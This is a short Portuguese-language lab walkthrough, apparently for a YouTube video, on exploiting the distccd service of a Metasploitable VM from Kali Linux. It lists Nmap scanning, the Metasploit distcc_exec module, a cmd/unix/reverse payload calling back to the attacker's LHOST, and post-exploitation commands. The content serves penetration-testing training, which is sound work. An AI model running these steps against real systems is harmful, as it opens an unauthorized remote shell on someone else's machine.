🎬 Este vídeo do YouTube

1️⃣ Identificar o alvo (Nmap)

nmap -sV -p 3632 192.168.56.102

✅ O resultado será assim: 3632/tcp open distccd v1

👉 Portanto, o distcc está aberto e pode ser explorado.

2️⃣ Iniciar o Metasploit

msfconsole

3️⃣ Selecionar o exploit do distcc

use exploit/unix/misc/distcc_exec

4️⃣ Verificar as configurações

show options

Parâmetros necessários:

Opção Valor RHOSTS IP do Metasploitable RPORT 3632 PAYLOAD cmd/unix/reverse

5️⃣ Definir o IP do alvo

set RHOSTS 192.168.56.102

6️⃣ Configurar o payload

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101

LHOST — o endereço IP do seu Kali Linux

7️⃣ Executar o exploit

run

🎉 Resultado

Se for bem-sucedido:

[*] Command shell session opened

Vamos verificar o shell:

whoami
uname -a
id